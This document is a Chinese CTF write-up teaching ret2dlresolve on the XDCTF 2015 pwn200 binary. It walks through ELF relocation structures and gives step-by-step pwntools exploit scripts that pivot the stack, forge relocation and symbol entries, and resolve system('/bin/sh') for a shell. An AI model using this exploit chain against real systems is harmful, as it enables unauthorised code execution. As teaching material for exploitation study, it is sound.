实际上,dl_runtime_resolve 是通过最后的 字符串 来确定执行那一个函数的,也就是说,可以通过控制这个地址的内容来执行任意函数,比如:system
而 reloc_arg 是我们可控的,我们需要控制reloc_arg 间接控制 最后的字符串。
为什么要使用ret2dlresolve?因为如果程序中没有类似puts或者printf的输出函数我们没办法泄露libc,那该怎么办?我们急需一种通用技术。现在常见的应用程序基本上都是动态链接的,只要动态链接就会有_dl_runtime_resolve函数。
我们需要依次伪造以下几个东西,首先是rec_index,以便让函数找到的是我们的伪造的.rel.plt表项 :fake_rel。然后这个伪造的fake_rel指向我们伪造的.dynsym表项:fake_sym。之后fake_sym里边的st_name也要修改,以便让.dynstr+fake_sym->st_name指向我们伪造的最终字符串:"system\x00"。如果我们同时伪造这几个项可能会比较难以理解,所以我们逐个伪造,逐个测试。
XDCTF 2015 pwn200 32位程序partial-relro
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ checksec --file=./main_partial_relro_32
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 0 1 ./main_partial_relro_32
改写.dynamic的DT_STRTAB
这个只有在checksec时No RELRO
可行,即.dynamic
可写。因为ret2dl-resolve
会从.dynamic
里面拿.dynstr
字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。比方说,原本是一个free
函数,我们就把原本是free
字符串的那个偏移位置设为system
字符串,第一次调用free("bin/sh")
(因为只有第一次才会resolve),就等于调用了system("/bin/sh")
。
本题就不可用了。
收集信息:
图1 dl_runtime_resolve
我们根据图1
.rel.plt
.rel.plt中表项的定义:
typedef struct {
Elf32_Addr r_offset;//指向了函数对应GOT表的地址,dl_runtime_resolve函数通过这个参数将真实地址写入GOT
Elf32_Word r_info;//右移8位作为.dynsym下标
} Elf32_Rel;
查看一下.rel.plt里边的项:
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ readelf -r main_partial_relro_32
Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
从上可知:以write函数为例其对应.rel.plt表项是:r_offset = 0x804a01c r_info=0x607。我们将write函数的对应.rel.plt表项记作rel
.got.plt
.got
节保存全局变量偏移表,.got.plt
节保存全局函数偏移表。.got.plt
对应着Elf32_Rel
结构中r_offset
的值。这个了解就好,我们现在主要关注write的GOT表地址:0x804A01C。额,只是IDA看看记不住也没事,pwntools里有工具获取这个地址。下图就是.got.plt表
图2
.dynsym
.dynsym的表项
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
我们记write函数对应的.dynsym表项为sym。我们刚才知道rel->r_info>>8 即0x607>>8=6,作为.dynsym的下标。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT
。
我们看一下.dynsym表,发现其下标6位置果然是write函数相关项。
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ readelf -s main_partial_relro_32
Symbol table '.dynsym' contains 10 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND __[...]@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
7: 00000000 0 OBJECT GLOBAL DEFAULT UND stdin@GLIBC_2.0 (2)
8: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.0 (2)
9: 0804866c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
我们再用objdump函数查看.dynsym表里具体的内容:
图3
由于下标从0开始所以下标6的位置是第七条(光标选定的位置),根据Elf32_Sym定义,我们知道sym->st_name = 0x4c,还有个0x12对照realelf给出的信息发现和Type相关。然后我们知道.dynstr+sym->st_name就是write的字符串地址,我们先用objdump查看.dynstr的地址发现是0x804826C,然后在pwndbg里打印.dynstr+0x4C这个地址里的数据,发现就是字符串 “write”。(sym->st_name = 0x4C刚才已经知道了)
图4
.plt
过程链接表,用于延迟绑定的一个表。重要的表项是PLT[0]。PLT[0]更像是一个gadget,它将linkmap压栈后,跳转到dl_runtime_resolve处执行。
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ objdump -s -j .plt ./main_partial_relro_32
./main_partial_relro_32: file format elf32-i386
Contents of section .plt:
8048370 ff3504a0 0408ff25 08a00408 00000000 .5.....%........
8048380 ff250ca0 04086800 000000e9 e0ffffff .%....h.........
8048390 ff2510a0 04086808 000000e9 d0ffffff .%....h.........
80483a0 ff2514a0 04086810 000000e9 c0ffffff .%....h.........
80483b0 ff2518a0 04086818 000000e9 b0ffffff .%....h.........
80483c0 ff251ca0 04086820 000000e9 a0ffffff .%....h ........
发现.plt表的起始位置是0x8048370,用IDA查看具体内容
图5
关注两个地方:第一个是PLT[0]处push的ds:dword_804A004就是GOT[1],即link_map。然后是0x80483B6处就是write@plt,它的正确rec_index是0x20。注意: plt0 = 0x8048370。
学到这里我们就省略一些东西了,比如获取溢出所需要的长度:112。类似ppp_ret的gadget(就是连续三个pop后跟着一个ret指令的gadget)地址直接就给出来。
下面是本章的重点——我们将逐步伪造各个表项,测试其功能,最后getshell。
逐步修改:
step1.栈迁移
我们第一步就是想将栈迁移到bss段上,然后执行一次write函数。为什么栈迁移后还要执行一次write函数哪?这是为了调用system函数做准备。
我们先写一个ROP链,直到返回到write@plt。最重要的是栈迁移。
说一下思路:先再溢出第一次返回时调用read函数,将payload2读取到bss段的某个合适位置,然后栈迁移到这个合适位置并且运行payload2,然后打印我们payload2中的 "/bin/sh"字符串。
一些用到的gadgets
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ ROPgadget --binary main_partial_relro_32 --only "pop|ret"
Gadgets information
============================================================
0x0804864b : pop ebp ; ret
0x08048648 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836d : pop ebx ; ret
0x0804864a : pop edi ; pop ebp ; ret
0x08048649 : pop esi ; pop edi ; pop ebp ; ret
0x08048356 : ret
0x08048198 : ret 0x835a
0x0804848e : ret 0xeac1
Unique gadgets found: 8
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ ROPgadget --binary main_partial_relro_32 --only "leave|ret"
Gadgets information
============================================================
0x08048465 : leave ; ret
0x08048356 : ret
0x08048198 : ret 0x835a
0x0804848e : ret 0xeac1
Unique gadgets found: 4
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]└─$ objdump -s -j .bss ./main_partial_relro_32./main_partial_relro_32: file format elf32-i386Contents of section .bss: 804a028 00000000 ....
我们说将payload2放到合适位置,这个位置不能是bss段的开头,因为payload2中调用函数会需要一定的空间,如果再bss开头就会破坏bss段之前的一些数据,不稳定。所以我们将payload2写入bss_stage = bss+stake_size。
#!/usr/bin/python
from pwn import *
elf = ELF('./main_partial_relro_32')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x08048649 # ROPgadget --binary bof --only "pop|ret",连续三个pop一个ret
pop_ebp_ret = 0x0804864b
leave_ret = 0x08048465 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = 0x0804a028 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
r = process('./bof')
r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset#调用read函数,此时会将payload2读入到base_stage
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)#这个是为了将read函数的三个参数pop掉还能继续执行下面的gadgets。
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)#下边三句是栈迁移的部分,首先将ebp指向base_stage,然后leave 指令将esp也指向了base_stage。注意
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)
cmd = "/bin/sh"
#上边payload会将mov esp,ebp后还有个pop ebp,才会ret,所以需要一个占位的old ebp这里是'AAAA'
payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))#因为传给write函数的buf地址是base_stage+80所以需要补全,而补全80个字节后就得是/bin/sh才能正确打印
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))#因为第一个payload要求read 100个字符所以需要将payload2补全到100字节
r.sendline(payload2)
r.interactive()
运行:
图6
关于栈迁移,pwntools有更简单的方法:
from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')
offset = 112
bss_addr = elf.bss()
r.recvuntil(b'Welcome to XDCTF2015~!\n')
# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)#栈迁移命令
r.sendline(rop.chain())
# write "/bin/sh",这个就是我们的payload2了,原理都是一样的。
rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
看到了吗?我们自己写的exp,找了那么多的地址,还得精心计算如何平衡栈,但是pwntools给我们封装了read函数,然后ROP.migrate就实现了栈迁移,而且栈迁移之后的old ebp也给你自动补上了,直接继续写就行,可见pwntools确实是pwn的利器,但是我们不能做脚本小子,理解底层原理,自己也必须会手写栈迁移!
step2 通过PLT[0]调用write
这次控制eip
返回PLT[0]
,要带上正确的write的index_offset = 0x20
。这里修改一下payload2
from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
#上边是栈迁移的payload,并且读取第二段payload
# write "/bin/sh"
rop = ROP('./main_partial_relro_32')
plt0 = elf.get_section_by_name('.plt').header.sh_addr #PLT表的开头就是PLT[0]
#从GOT表中读取正确的write函数的rec_index值,下面四句等同于wrote_reloc_offset = 0x20,这个值我们用IDA分析过了
jmprel_data = elf.get_section_by_name('.rel.plt').data()
writegot = elf.got["write"]
write_reloc_offset = jmprel_data.find(p32(writegot,endian="little"))
print(write_reloc_offset)
rop.raw(plt0)
rop.raw(write_reloc_offset)
# write函数的返回值,随便写,输出后就不管了
rop.raw('bbbb')
# write 函数的参数, write(1, base_stage+80, sh)
rop.raw(1)
rop.raw(base_stage + 80)
sh = "/bin/sh"
rop.raw(len(sh))
rop.raw('a' * (80 - len(rop.chain())))#补全到80字节和step1中一样,与write的第二个参数对应
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))#和之前一样,第一个payload了读取100字节
r.sendline(rop.chain())
r.interactive()
仍然输出/bin/sh
step3 fake_reloc
这次控制index_offset
,使其指向我们构造的fake_reloc
from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
#以上是栈迁移
# write "/bin/sh"
rop = ROP('./main_partial_relro_32')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
got0 = elf.get_section_by_name('.got').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# make base_stage+24 ---> fake reloc
write_reloc_offset = base_stage + 24 - rel_plt#此处提问fake_reloc的地址为什么是base_stage+24,如何将fake_reloc放到base_stage+24?
write_got = elf.got['write']
r_info = 0x607
rop.raw(plt0)
rop.raw(write_reloc_offset)
# fake ret addr of write
rop.raw('bbbb')
# fake write args, write(1, base_stage+80, sh)
rop.raw(1)
rop.raw(base_stage + 80)
sh = "/bin/sh"
rop.raw(len(sh))#此处回答上面的问题,此时rop里一共有6个4字节的数据,所以4*6=24,而rop的开头位置就是base_stage,所以我们将fake_reloc放到此处就是base_stage+24。#你不放心可以print(len(rop.chain()))打印看看是不是24字节
# construct fake write relocation entry
rop.raw(write_got)
rop.raw(r_info)#以下一样的
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
运行:
图7
可以看出print出的rop.chain()就是24字节!并且也打印出了/bin/sh
step4 fake_sym
这一次构造fake_sym
,使其指向我们控制的st_name
...栈迁移的部分不放了
rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# make a fake write symbol at base_stage + 32 + align
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Symbol is 0x10,Elf32_Sym结构体必须对齐到0x10!
fake_sym_addr = fake_sym_addr + align#对齐后的fake_sym地址
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引#下边是构造正确的dynsym表项,内容是抄的原本的write的对应表项。fake_write_sym = flat([0x4c, 0, 0, 0x12]) # make fake write relocation at base_stage+24 index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] r_info = (index_dynsym << 8) | 0x7# calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info]) gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2)) # construct rop chain rop.raw(plt0) rop.raw(index_offset)rop.raw('bbbb') # fake ret addr of writerop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh))rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' * align) # padding for fake_write_symrop.raw(fake_write_sym) # fake write symbol rop.raw('a' * (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive()
step5 fake_st_name
把st_name
指向我们自己输入的字符串"write"
from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)/2*0x10
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# make a fake write symbol at base_stage + 32 + align
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Symbol is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
st_name = fake_sym_addr + 0x10 - dynstr # 因为st_name需要指向输入的字符串地址,但是看一下payload就发现,输入字符串与fake_sym_addr之间整好间隔了一个Elf32_Sym的大小0x10,所以需要加个0x10,#详情请看下边的示意图
fake_write_sym = flat([st_name, 0, 0, 0x12])
# make fake write relocation at base_stage+24
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write
fake_write_reloc = flat([write_got, r_info])
# construct rop chain
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb') # fake ret addr of write
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('write\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
step6 st_name->system
替换write
为system
,并修改system
的参数
如果看懂step 5后这一步基本上就没有啥问题了
from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)/2*0x10
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# make a fake write symbol at base_stage + 32 + align
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Symbol is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
st_name = fake_sym_addr + 0x10 - dynstr # plus 10 since the size of Elf32_Sym is 16.
fake_write_sym = flat([st_name, 0, 0, 0x12])
# make fake write relocation at base_stage+24
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write
fake_write_reloc = flat([write_got, r_info])
gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2))
# construct ropchain
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb') # fake ret addr of write
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
r.sendline(rop.chain())
r.interactive()